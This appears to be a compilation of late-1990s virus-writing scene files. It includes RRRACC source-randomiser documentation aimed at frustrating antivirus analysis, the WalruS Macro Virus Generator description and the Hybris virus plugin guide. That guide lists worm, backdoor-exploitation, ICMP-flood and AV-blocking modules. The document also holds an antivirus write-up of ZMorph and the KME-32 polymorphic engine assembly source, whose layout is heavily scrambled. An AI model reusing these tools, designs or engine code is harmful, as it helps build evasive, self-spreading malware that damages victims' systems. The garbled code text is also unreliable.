would be perfectly right, since the pop ds opcode does not affect the flags, so the cmp ax,4b00 is allowed to be swapped before it. But look out for this ! ! pop ds mov word ptr ds:[old_21],bx

since the second line depends on ds set properly, you can't swap these. Assigning a random string to a variable ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Variables are assigned on a separate blank line, which will be ommited in the output. Variables are recognized by their ~ prefix, and can contains characters,digits and _, however they may not start with a digit (I could support this, but it's not a good habit of using them anyway). I'll show a silly example and explains what it does: ~rndreg = ( "bx" "cx" "dx" ) ~rndmov = ( "mov" "xchg" ) ~rndmov ~rndreg,ax push ~rndreg ~rndreg = ( "bx" "cx" "dx" "si" "di" ) ~rndopen = ( "3d02h" "3d82h" ) mov ~rndreg,~rndopen ~rndmov = ( "mov" "xchg" ) ~rndmov ax,~rndreg int 21h pop cx ; ; ; ; ; ; ; ; ; ; ; 1 2 3 4 5 6 7 8 9 10 11

At line 1, the variable rndreg gets a value assigned from chosen random from its parameters. Lets say, ~rndreg becomes bx. At line 2 we'll do the same, but then we don't assing a random register, but a random operand. In this example, we'll assume ~rndmov gets "xchg" assigned. Now line 3 and 4 will be parsed and RRRACC sees the variables and will replace them with their random assigned value. The above example *could* generate: xchg bx,ax push bx or mov dx,ax push dx or xchg cx,ax push cx

A random value stays assigned to a variable until the variable is reused/reinitialized. Once you know this, understanding the rest of the above example is very easy. Assigning a random hex number to a variable ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Since assigning variables has been extended with the possibility of generating a hexadecimal random number between two numbers. Hexadecimal numbers are specified in C notation, but the output will be TASM compatible. ~maxlen = ( 0xe000 0xf400 ) ~cjump = ( "ja" "jae" ) cmp cx,~maxlen ~cjump too_big ; maximum host size

Combining ~~~~~~~~~ The true power of RRRACC (yuck) comes in view when you combine both the line randomizer and the random variable substitution. I'll show you a little example again:

~rndzero1 = ( "xor" "sub" ) ~rndzero2 = ( "xor" "sub" ) ! mov ax,4202h ! ~rndzero1 cx,cx ! ~rndzero2 dx,dx

; seek eof

This is very annoying if for antivirus researcher to analyse if you can create enough possibilities in your source code to get randomized. A small word on the mutation mathematics ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Here is a small table that shows the amount of mutations possible with a certain amount of consecutive lines set to randomized order: Consecutive Lines Possible amount of mutations ============================================================ 1 1 2 2 3 6 4 24 5 120 6 660 7 4,620 8 36,960 9 332,640 10 3,326,400 The formula to calculate this is fairly simple and straightfordward, you just take the amount of mutations possible shown by the last line and multiply it by the amount of consecutive lines on the next line, so 11 consecutive lines show give a possible 11*3,326,400 amount of mutations, and so on. To calculate the total amounts of line mutations possible in a file, multiply all possible amount of mutations times of all the blocks encountered in the source code. I think I am correct in my calculations, but I would love it to be proved wrong by Alan Solomon, after all he's a doctor in mathematics. :-) Future ~~~~~~ RRRACC is very powerful in its simplicity, still it lacks a lot of thing I would like to add before I start on my GRACE project, like + random ordering blocks of code in addition to lines + variables assignments and parameters that can span more than a line (and can contain newline characters, possibly with a new line starting with a !, which should be randomized) + recursive variable assignment (by using variables in variables, I didn't call it rRracc for nothing <grin>) + parameter exclusion, so you can say that it can't choose a parameter thas has been assigned to another variable + random line ordering reversed stack, so you can push and pop registers in the right order + stronger error checking - this version has some, but not enough to my liking + multiple file processing and bulk output (using numbering instead of an extension) + optional automatic compilation, by calling a batch file (to invoke assembler/linker with your own parameters), ideal for bulk generation

History ~~~~~~~ 02-28-1999: Release of RRRACC 1.03, including PERL source + Final release of RRRACC, since it is very bulky, when compiled, and I have finally started on coding GRACE, so this should become obsolete. Maybe I will release newer versions if I still think there should be an intermediate release before the first beta release of GRACE. At least I hope the source code will be interesting to study for PERL fanatics. 01-23-1999: Release of RRRACC 1.02 + Shows amount of possible random mutations in a source file, don't get shocked at the monstrous numbers, these numbers are mathematically correct (at least they are, I think, if you doubt it, just try to generate some samples and prove me it calculates wrong) 01-21-1999: Release of RRRACC 1.01 + Support for random hex ranges added 01-20-1999: Release of RRRACC 1.0 01-19-1999: Release of SwapLine, actually RRRACC 0.01á :-) Contact ~~~~~~~ If you have any questions or bug reports (this does not include invalid use, read the docs), feel free to mail them to rajaat@itookmyprozac.com and I'll try to answer them. You can also check my website for new updates or new programs, which is located at http://www.sourceofkaos.com/homes/rajaat Hint ~~~~ You might want to print out this help, which can simply do by redirecting the output, like : RRRACC --help > lpt1.

The WalruS Macro Virus Generator (WMVG) The WalruS Macro Virus Generator Is A Easy To Use Virus Creation Kit For Word 97/2K. WMVG Is AutoRun When The Document WMVG.doc Is Opened In Word. Currently WMVG Has The Following Virus options. Infection Hook : Open Or Close Infection Routine : String Copy Or Import/Export To File Stealth : On Or Off Add Random Noise : On Or Off mIRC Worm Spreading : On Or Off VBS Backup : On Or Off Payloads: None, Message Box, CD Tray, Kill Document, Hiccups, Colours, Assistant Message, Plugin Your Own, Payload Trigger : On Infection Hook, By Date, Random, Create Source Code : On Or Off WMVG Creates Viruses With Random Variable Names Upon Each Run. Random Noise Can Also Be Added. In Addition There Are Text Boxes For Virus Author, Virus Name And Virus Comments (Not critical). Every Option Has An Associated Help Button Providing A Help Message Box Viruses And Source Are Created In C:\My Documents In Addition To Making Viruses WMVG Also Has An Extras Screen. Here There Are The Following Options. Contact The WalruS : Mail, Web Page, IRC Greets : My Pals Drop A WalruS Virus : Fools Gold, Puny, LSD, Furio Scattered Throughout The WMVG Are Secret And Hidden Bits Of Information (Just For Fun)

In Future WMVG Will Be Updated To Include More And Different User Options. WMVG Was Designed, Written And Tested On Word 2K. If You Spot A Bug Of Any Kind Please Inform Below. Please WMVG Fonts Are Comic Sans MS Which Is Part Of Office Installation. Should The WMVG Text Look Incorrect Then Ensure That The Font Is Present In The C:\Windows\Fonts Folder. If It Is Not Then The Font Is Provided With WMVG In The Folder Labelled Font For Any Comments, Questions Or Bugs Contact WalruS Direct Below. WalruS@Z.com http://www.WalruS.8k.com

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOWWORKS.TXT]ÄÄÄ HOW WRITE YOUR OWN MUAZZIN Muazzins receive control at first byte, and can respond to the following request, passed in the appropriated structure: MT_QUERY - called for all muazzins, used for self identification, should return name, version, and requests it support - called with the buffer and the current size as parameter, is the place to insert poly over the dropper, change the icon, and all other things that affect the form of the pe exe dropper, that is the traveling form of the virus. - called with the IP that the user pretend connect and the port, it have several uses. Can block the IP of AV sites in the internet, can save the smtp and nntp server that the user uses, can scan for open machines in these network, etc... - generic porpouse, is here the place for payloads, scan for files of different kinds to infect, and all other type of thing. - to avoid suspicion, the text used for sending e-mail is generated by this muazzin. it create the body of msg, the headers, and determine the attachment name. Here, you can put your engine and generate random but still understandable texts about sex, pokemons, jokes, etc... - here, the muazzin should try to contact a source of muazzins and retrieve they. Acessing usenet newsgroups, irc, pop3 e-mail account, www/ftp sites, all is done here... - called each full moon, is the time for the muazzin send all muazzins installed in current system to places where others muazzins, by using MT_BLOOM, can retrieve they. Post to usenet, sending emails, etc should be done here.

MT_PROCESSDROPPER

MT_BLOCKIP

MT_APP

MT_GENTEXT

MT_BLOOM

MT_BREED

Notice that a single muazzin can respond to more than one type of call. Is a good idea make they work together: a muazzin that generate texts about pokemon in MT_GENTEXT can also change the icon, in MT_PROCESSDROPPER. A muazzin that scan for back orifice backdoor at each MT_BLOCKIP and upload itself to there, should also process MT_APP, coz the dropper, that it will need to upload to backdoor, isnt passed in calls to MT_BLOCKIP. Etc... Also notice that these rules arent written in stone: nothing forbid you to, in a dynamic system as IRC, use MT_BLOOM to receive and also send muazzins, or like. Once you have written your own muazzin, you should encrypt and sign it with the included utility, and should test it lots. They key included in this release isnt the key that the virus carry, so, dont wait for it work with "in the wild" samples. If you think that others infected machines need your muazzin, contact me for a signature. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOWWORKS.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MUAZZINS.TXT]ÄÄÄ SAMPLE MUAZZIN INCLUDED: /PE - Infect pe exe without increasing the size neither changing the CRC 16/32/48 of the file. Code section is compressed.

Write the dropper to disk to /temp directory, then run and delete. Files are searched by special DLL. Win98 specific. /PE2 - Polymorphic pe infector using a modificated version of KME32 by Z0MBiE. Added CALLS/JCC. Increase last section. Write and run dropper. Recursive search. - Infect DOS EXE files. Infected files check Win32 OS and write and run dropper if positive. Recursive search. - Search and infect HLP files with Babyloniaïs hlp infection scheme. Recursive search. - Search for ZIP and RAR files, using Z0MBiE library, and add droppers to they. Recursive search. - Thanks to Spanska. Drop a exe file, and register to always run at boot. Hypnotic spirale then control the mind of the user. Process hard-to-close, making delete hard for user. - Connect to several www sites, using WININET.DLL, and tries to retrieve new muazzins. - Connect to nntp server, retrieve posts, check subjects for special checksum, and read possible muazzin. In full moon nights, it post to usenet via a mail2news gateway. - Second outsider muazzin contribution, this co-work with Alevirus enable Hybris to infect Microsoft WinWord DOC. - Scan contacted subnet type C for sub7 backdoor, and then upload/run/delete virus dropper to such system. Bypass sub7 server password. To do the manual work ;)

/EXE

/HLP

/RARZIP

/SPIRALE

/HTTP

/USENET

/DOC

/SUB7

ARJ.S AV!INET.S DDOS.S EMAIL.S ENCR.S TEXT.S JOKE.S SERVER.S

- Search and write droppers to ARJ files. Recursive search. - Block access to the most common AV sites. - ICMP flood weapon. - Send a email to a hotmail account, for a census. - Encrypt droppers with a semy-polymorphic layer. - Generate "erotic" text for e-mails body. - Generate a joke in english/french/spanish/portuguese mails

- Save the users default SMTP and NNTP servers to registry, and return they at virus request. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MUAZZINS.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GREETS.TXT]ÄÄÄ If I can see fo far, is becoz I am in the shoulders of giants... This virus will not exists if was not by the extreme help and support of several peoples, that helped in all phases of the develpment. Greetz go to Spanska and Mister Sandman, the intellectual co-authors of this virus, to Z0MBiE, the master coder, for all kind of magic routines. Finally, the brazilian crew, my team, with Kamaileon, NBK, Alevirus and Nimbus, that, beside the testings and the help in several muazzins, give me support and made this creation know worldwide. ;-)

Greets also go for VirusBuster and Gigabyte, that always give me the emotional support in my dark days, and urgo32, that tried to teach me math. Thanks to all my other friends, be in IRC, be in the vx groups, that, with his chats and codes, inspired me always. I cant name they all here. Vecna, 2000 ps: to contact me, contact somebody named here, and they will make your name and email reach me. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GREETS.TXT]ÄÄÄ

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ KME-32 v3.00 - Kewl Mutation Engine ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - easy to use - compatible with any 32-bit platform (Win9X/WinNT, ring0/ring3) - stack algorithm, allowing data compression - highly configurable - commented sources included - full russian/english documentation - examples ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ Win95.ZMorph -----------------------------------------------------------------------These are Win9x viruses infecting PE EXE files (Windows executable files). The viruses have a significant feature - a polymorphic engine that is used by viruses to hide their code in infected files. This polymorphic engine modifies the virus code so that there is not a single piece of virus code continuously stored in an infected file, in any encrypted and "clear" form. Instead of the "standard" method of appending the virus code to the file as a continuous sequence of [encrypted] code instructions, data areas, e.t.c., the virus addition to infected files looks like a chain of routines of random size, randomly stored at the end of the file; each routine passes control to the next one, and all these routines are polymorphic: +-------------+ |Infected file| |code and data| +-------------+ |+-----+ |+-----+ | | | +-------+ | +-------+ . . . . . . +----+ | +----+ | | | +----+| +----+| e.t.c Routine2 | | | | | | Routine1 -----+ | | | <----+ <--------+ Routine3 ---------|--+ | | | | | | | | | | | | | | | | | | | | | <----------+

|+---+ |+---+ | |

--------+

+-------------+ By using arithmetic instructions of different types (which are totally polymorphic) these routines construct "clean" virus code double-word by double-word, and store them on the stack. At the end of this process the "clean" and complete virus code is stored in the stack, and the last routine jumps to there to the "real virus" code. Because of such a method to store the virus code while infecting, the files length grows by large values - up to 30Kb. The size of the virus addition to the file may be approximated as "real virus" size multiplied by six (in case of 5200 bytes virus the victim files size grows by about 32K). ZMorph.2784 This is a memory resident Win9x virus. It switches its code to system driver mode (Ring0), allocates a block of driver's memory, copies itself to there and hooks two events: port 8888h reading (is used for "Are-you-here" call to detect already installed TSR virus copy), and IFS API (files access functions). The virus then returns control to the host file. The virus TSR copy is then active as VxD system driver, intercepts file access functions and infects PE EXE files that are accessed. The virus does not manifest itself in any way. It contains the text: KME.Z0MBiE-4.b ZMorph.5200 This version of the virus can be found in two variants: as infected PE EXE file, and as a virus "installer" - RUNDLL16.EXE file in the Windows system directory. The virus does not perform any harm action except scanning Windows memory for AVP Monitor and some other Windows resident anti-virus protection, and disabling it by patching Monitor's code. The virus contains an encrypted text in Russian, and virus author's "signature": z0mbie.cjb.net When an infected file is executed, the virus' polymorphic code gets control, restores the original virus code to the stack and jumps to there - to the virus installation routine. The virus installation gets the needed Windows functions addresses by scanning the KERNEL32.DLL image in Windows memory (this is usual for most of Win32 viruses) and performs two actions: installs virus code into the Windows system directory, and leaves virus resident copy in Windows memory. Ring0 component To install itself memory resident the virus switches its code to system driver mode (Ring0), allocates a block of driver's memory, copies itself to there and hooks two events: port 8889h reading (is used for "Are-you-here" calls to detect already installed TSR virus copy), and IFS API (files access functions). The virus then returns control to the host file, and virus TSR copy is then active as VxD system driver, intercepts file access functions and infects PE EXE files that are accessed. RUNDLL16 component

While installing its copy in Windows system directory the virus creates the RUNDLL16.EXE file in there, writes to this file its image in PE EXE file form, and spawns it. The RUNDLL16.EXE registers itself in the system as Service Process (invisible task), and registers its file (RUNDLL16.EXE) as auto-run file. To do that the virus creates the registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run rundll16 = rundll16.exe

The virus process then sleeps for several minutes, then scans subdirectory trees on all fixed drives from C: till Z:, "touches" EXE files there, and as a result forces Ring0 component to infect them. Infection As a result of installation the virus code is present in Windows memory in two copies: the first one is a system process that scans all drives and infects files on them; the second copy is active as system VxD driver that intercepts file access functions, and infects PE EXE files that are accessed. While infecting a file the virus parses its internal PE format, increases size of the last section, runs its polymorphic engine and writes the result of it to the end of the file. The virus then modifies the necessary PE header fields, including program startup address. Virus analysis texts - Copyright 1996-2000 Eugene Kaspersky. Web-version - Copyright Metropolitan Network BBS Inc. 1996-2000. All Rights reserved. Send your questions and suggestions to webmaster ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ ; ; KME32 source ; ~~~~~~~~~~~~ ; release 1.00 -- November'1999 ; + permutable code (no data at all & etc) ; release 2.00 -- August'00 by Vecna ; + movsx/zx ; + cmp r, r/c ; poly_cmd() ; jz/nz follow/nofollow ; + push r/c ; poly_cmd() ; pop r ; + subroutine ; + call subroutine ; release 3.00 -- November'00 -- repaired back ;-) ; + BSR/BSF, MUL/IMUL/DIV/IDIV ; + AND/OR in genvalue ; + short-consts (such as 'sub reg, nn'), see FLAG_NOSHORT_C ; + other-opcodes ('cmd reg,reg' with inverted S-bit), see FLAG_NOSWAP ; + jz/nz --> jxx/nxx ; + subroutines/calls fixed, epilog-code fixed, ; + cycles ; + randomer fixed ; + now you can specify register values passed from engine ; into virus. 'exitregptr' parameter points to 8 dwords, ; eax/ecx/edx/ebx/esp/ebp/esi/edi. ; values, equal to -1, are unused. ; Also, only these registers are processed, ; which are specified in regavail bitset. ; + also, you can specify engine's initial register values. ; 'initregptr' parameter points to 8 dwords, ; same as with exitregptr parameter. ; + FPU (sin,cos) ;

p586 ;LITE C_EIP_MAX_ITER C_EIP_TOP C_EIP_BOTTOM C_EIP_PREV C_EIP_NEXT C_MAX_SUB equ equ equ equ equ equ equ ? 10000 32 32 10 20 32 ; LITE: disable cmdavails & flags ; these parameters used to ; find new JMP location

; max # of subroutines

testcmd IFNDEF LITE

macro test jz

fl, lbl cmdavail, fl lbl

ENDIF endm testcmd2 IFNDEF LITE macro test jz ENDIF endm flagsz IFNDEF macro LITE test jz ELSE jmp ENDIF endm flagsnz IFNDEF macro LITE test jnz ENDIF endm kme_start: kme_main proc pascal flags, fl lbl fl, lbl lbl flags, fl lbl fl, lbl fl, lbl cmdavail2, fl lbl

; parameters -- pushed in reversed order arg exitregptr:DWORD ; 0 or pointer to 8 dwords arg initregptr:DWORD ; 0 or pointer to 8 dwords arg i_offs:DWORD ; virus offset arg i_size:DWORD ; virus size arg i_entry:DWORD ; virus entry (relative) arg o_offs:DWORD ; output offset arg o_max:DWORD ; output max buf size arg o_fillchar:DWORD; character to fill out buf arg po_size:DWORD ; 0 or pointer to out buf size arg po_entry:DWORD ; 0 or pointer to out entry (rel.) arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0 arg randseed:DWORD ; randomer initializer arg regavail:DWORD ; register set (REG_XXX) arg cmdavail2:DWORD ; adv. command set (CMD2_XXX)

arg arg

cmdavail:DWORD flags:DWORD

; command set (CMD_XXX) ; flags (FLAG_XXX)

; local variables local save_esp:DWORD ;; "state" (size is DWORD-aligned) ;; state should be preserved when genereating subs local state_end:DWORD local regused:DWORD ; set of used registers local reginit:DWORD ; set of initialized registers local em_reg:DWORD:8 ; register values (emulation) local regbuf:BYTE:8 ; indexes of regs to be pushed local state_begin:DWORD ;; local local local local local local local local local pusha mov save_esp, esp ; to jmp to @@error from subs in_subroutine:BYTE ; inside-of-subroutine tempo:DWORD ; use in ifollow/rfollow only p_count:DWORD ; # of generated subs p_addr:DWORD:C_MAX_SUB p_stack:BYTE:C_MAX_SUB p_conv:BYTE:C_MAX_SUB jxxcond:BYTE:16 ; flags, in perverted form fpuinit:BYTE fpustack:BYTE

; fix regavail -- check if no registers given and regavail, REG_ALL ; clear ESP if set jnz @@regok or regavail, REG_DEFAULT @@regok: mov edi, o_offs ; fill output buffer mov ecx, o_max mov eax, o_fillchar cld rep stosb mov mov mov mov in_subroutine, cl p_count, ecx fpuinit, cl fpustack, cl

; while generation, EDI contains current outpointer mov edi, o_offs ; if need jmps & (not FLAG_EIP0) select random EDI flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew cmp po_entry, 0 je @@skipnew call @@find_new_eip @@skipnew: ; calculate decryptor entry point mov ecx, po_entry jecxz @@skip_retentry mov eax, edi sub eax, o_offs mov [ecx], eax

@@skip_retentry: ; initialize bitsets: no registers initialized/used xor eax, eax mov reginit, eax mov regused, eax add and call i_size, 3 i_size, not 3 @@int3 ; i_size: align 4

; add INT3 if FLAG_DEBUG

; set initial register values cmp je xor bt jnc mov mov cmp je mov bts inc cmp jb initregptr, 0 @@ir_done ebx, ebx regavail, ebx @@ir_cont edx, initregptr edx, [edx+ebx*4] edx, -1 @@ir_cont em_reg[ebx*4], edx reginit, ebx ebx bl, 8 @@ir_cycle

@@ir_cycle:

@@ir_cont:

@@ir_done: ; ECX contains number of elements in regbuf xor ecx, ecx call @@main_cycle: @@poly_cmd ; add "logic" command

; main encryption cycle call xchg call @@get_init_reg ebx, eax @@poly_cmd ; select/initialize rnd reg

; add "logic" command

; push registers until register in EBX become free call @@push_uptoebx ; get next dword (backward) sub i_size, 4 mov edx, i_size add edx, i_offs ; get dword into EDX mov edx, [edx] call bts mov inc cmp jg call @@gen_value regused, ebx ; make em_reg[EBX] equal to EDX ; mark reg in EBX as used

regbuf[ecx], bl ; store EBX as ready to push ecx i_size, 0 @@main_cycle @@push_all ; until we still have dwords ; in inputstream ; push all unpushed registers

call call

@@int3 @@epilog

; add INT3 if FLAG_DEBUG ; "epilog" code -- JMP ESP

; calculate size of generated decryptor sub edi, o_offs flagsnz FLAG_NOJMPS, @@nj mov edi, o_max @@nj: mov jecxz mov @@skip_osize: clc @@error_exit: popa ret ; error handler ; int 3 ; int 3 ; int 3 mov esp, save_esp stc jmp @@error_exit ; CF=0 - all ok ; retore regs & exit ecx, po_size @@skip_osize [ecx], edi

@@error3: @@error2: @@error1: @@error:

; rest. ESP (if call from sub) ; CF=1 - an error occured

; ===================== subroutines ========================================= ; add INT3 command (if FLAG_DEBUG) @@int3: flagsz FLAG_DEBUG, @@skip_debug @@int3_do: IFNDEF LITE push eax mov al, 0CCh stosb pop eax ENDIF @@skip_debug: retn ; --------------------------------------------------------------------------; push 1 register ; (indexes stored in regbuf, count in ECX) @@push_1: dec movzx pusha lea lea movsd movsd popa btr call add stosb call retn ecx eax, regbuf esi, regbuf+1 edi, regbuf ; just 8 bytes ; decr. num of regs in regbuf ; read 1 byte ; delete 1st entry in regbuf

regused, eax @@eip al, 50h @@poly_cmd

; mark register as free ; add JMP ; PUSH reg ; "logic" command

; push all registers ; (indexes stored in regbuf, count in ECX)

@@push_all:

@@push_all_done:

jecxz call jmp retn

@@push_all_done @@push_1 @@push_all

; push registers up to pointed by EBX ; (indexes stored in regbuf, count in ECX) @@push_uptoebx: bt jnc call jmp retn regused, ebx @@ebx_free @@push_1 @@push_uptoebx

@@ebx_free:

; =========================================================================== ; "epilog" code -; -- load regs and JMP ESP in perverted form @@epilog: call cmp jne call xchg btr btr call mov add stosw mov call call jnc ; if we have only 1 register @@1reg: call mov add stosw mov stosd @@eip ax, 0C081h ah, cl eax, i_entry ; JMP ; add reg1, i_entry @@poly_cmd regused, 0 @@error1 @@get_free_reg ecx, eax regavail, ecx reginit, ecx @@eip ax, 0E089h ah, cl ; get free rnd reg <reg1> ; to avoid usage in logic; ; value unknown (ESP) ; JMP ; mov reg1, esp ; "logic"

eax, 20 @@multi_garbage @@get_free_reg @@morethan1reg ; get free rnd <reg2>

; cant emul - ESP unknown jmp @@1ornot

; if we have more than 1 register @@morethan1reg: xchg bts mov call ebx, eax regused, ebx edx, i_entry @@gen_value

; mark as used ; reg2 <-- i_entry

mov call call jz bts btr btr xchg @@skip_xchg: btr call mov or shl or stosw

eax, 20 @@multi_garbage @@rnd_zf @@skip_xchg regavail, ecx regavail, ebx reginit, ebx ecx, ebx

; free reg1

; invert register usage

regused, ebx @@eip ax, ah, bl, ah, 0C001h cl 3 bl ; JMP ; add reg1, reg2

; cant emul - ESP unknown @@1ornot: mov call call ;; does mov or jz cmp jne ;; call jz @@push_ret: lea stosb bts btr mov call call call mov stosb jmp @@jmp: call mov add stosw bts eax, 20 @@multi_garbage @@eip ; JMP

reg1 value should be passed into virus? eax, exitregptr eax, eax @@skipchk dword ptr [eax+ecx*4], -1 @@push_ret

@@skipchk:

@@rnd_zf @@jmp eax, [ecx+50h] ;push

regavail, ecx regused, ecx eax, 20 @@multi_garbage @@epilog_regs @@eip al, 0c3h

; free reg1

;ret

@@lwo @@epilog_regs ax, 0E0FFh ah, cl ; JMP <reg1>

regavail, ecx

; free reg1

btr @@lwo: mov call retn @@epilog_regs: cmp je xor @@er_cycle: bt jnc mov mov cmp je call bts call call @@er_cont: inc cmp jb retn call jz call dec jnz retn

regused, ecx eax, 20 @@multi_garbage ; @@epilog exitregptr, 0 @@er_ret ebx, ebx regavail, ebx @@er_cont edx, exitregptr edx, [edx+ebx*4] edx, -1 @@er_cont @@gen_value ; em_reg[ebx*4] <-- edx regused, ebx @@poly_cmd @@poly_cmd ebx bl, 8 @@er_cycle

@@er_ret: @@multi_garbage: @@gen_garbage:

@@rnd_eax @@mg_ret @@poly_cmd eax @@gen_garbage

@@mg_ret:

; =========================================================================== ; this subroutine makes em_reg[EBX] equal to EDX @@gen_value: ; use XOR if noone specified testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef @@gen_value_restart: mov call jz dec jz dec jz dec jz @@r2: @@rdef: testcmd xor xor mov eax, 5 @@rnd_eax @@r0 eax @@r1 eax @@r3 eax @@r4 ; EAX=#

; dispatch

; and ; or

CMD_XOR, @@gen_value_restart edx, em_reg[ebx*4] ; emul -- xor reg, c em_reg[ebx*4], edx eax, 35F081h ; opcodes

jmp @@r1: testcmd sub add mov jmp testcmd sub neg sub mov or jz call

@@store_cmd CMD_ADD, @@gen_value_restart edx, em_reg[ebx*4] ; emul -- add reg, c em_reg[ebx*4], edx eax, 05C081h ; opcodes @@store_cmd CMD_SUB, @@gen_value_restart edx, em_reg[ebx*4] ; emul -- sub reg, c edx em_reg[ebx*4], edx eax, 2dE881h ; opcodes edx, edx @@rt @@eip ; skip zero-argument

@@r0:

@@store_cmd: @@store_cmd_even0:

; JMP ; if skip short opcs

flagsnz FLAG_NOSHORT, @@long or jnz shr @@short: stosb jmp add stosw xchg stosd retn ebx, ebx @@long eax, 16

; use short form for EAX

; store 1-byte opcode @@shortorlong ah, bl ; store 2-byte opcode

@@long:

@@shortorlong:

edx, eax

; store argument (EDX)

@@rt: @@r3:

testcmd CMD_AND, @@gen_value_restart ; ; ; ; ; em_reg and ? = edx 0 * 0 0 1 1 0 0 1 1 1 eax, em_reg[ebx*4] eax, edx eax, edx @@gen_value_restart @@random_dword em_reg[ebx*4] eax, em_reg[ebx*4] em_reg[ebx*4] edx, eax em_reg[ebx*4], edx eax, 25E081h @@store_cmd_even0 ; em_reg and ? = edx ; 0 none 1

mov and cmp jne call not and not xor and mov jmp @@r4:

; em_reg and ? = edx ; 0 any 0

; em_reg and ? = edx ; 1 copy 0/1

testcmd CMD_OR, @@gen_value_restart

; ; ; ; ;

em_reg or ? = edx 0 0 0 0 1 1 1 0 1 * 1 eax, edx eax, em_reg[ebx*4] eax, em_reg[ebx*4] @@gen_value_restart @@random_dword eax, em_reg[ebx*4] edx, eax em_reg[ebx*4], edx eax, 0DC881h @@store_cmd ; em_reg or ? = edx ; 1 none 0

mov and cmp jne call and xor or mov jmp

; em_reg or ? = edx ; 1 * 1

; ===================== random number generator ============================= @@random: mov imul add mov retn call shl call shl push call shr mov pop retn eax, randseed eax, 214013 eax, 2531011 randseed, eax ; standard PASCAL's algorithm

@@random_dword: @@rtmp:

@@random_byte:

@@rtmp eax, 8 @@random_byte eax, 8 eax @@random eax, 24 [esp], al eax

; --------------------------------------------------------------------------@@rnd_zf: push push pop call dec pop retn push push mov call xor mul mov pop pop test retn eax 2 eax @@rnd_eax eax eax

@@rnd_eax:

ebx edx ebx, eax @@random edx, edx ebx eax, edx edx ebx eax, eax

; MUL is really kewl

; ===================== register selection management =======================

@@get_rnd_reg:

; get random register mov eax, 8 call @@rnd_eax bt regavail, eax jnc @@get_rnd_reg retn

; "regavail" set only

; --------------------------------------------------------------------------; get random initialized register call @@get_rnd_reg ; get random reg call @@reg_init_eax ; initialize it (if not yet) retn

@@get_init_reg:

; --------------------------------------------------------------------------; check register & initialize it if unitinitalized ; used 'coz initially em_reg[0..7] is unknown @@reg_init_eax: bts jc push mov call reginit, eax ; initialized? @@reg_init_retn ebx ebx, eax @@eip ; JMP

testcmd CMD_PUSHPOP, @@init_mov call jz @@init_mov: add stosb call mov stosd xchg pop @@rnd_zf @@init_pushpop al, 0B8h ; MOV r, c

@@random_dword em_reg[ebx*4], eax

; store initial em_reg[]

@@init_done:

ebx, eax ebx

@@reg_init_retn: @@init_pushpop:

retn mov stosb call mov stosd call lea stosb jmp al, 68h @@random_dword em_reg[ebx*4], eax

; store initial em_reg[]

@@eip eax, [ebx+58h]

@@init_done

; --------------------------------------------------------------------------; get random initialized register marked as "free" mov eax, regused cmp eax, regavail je @@bad

@@get_free_reg:

@@bad:

call bt jc retn mov stc retn

@@get_init_reg regused, eax @@get_free_reg eax, -1

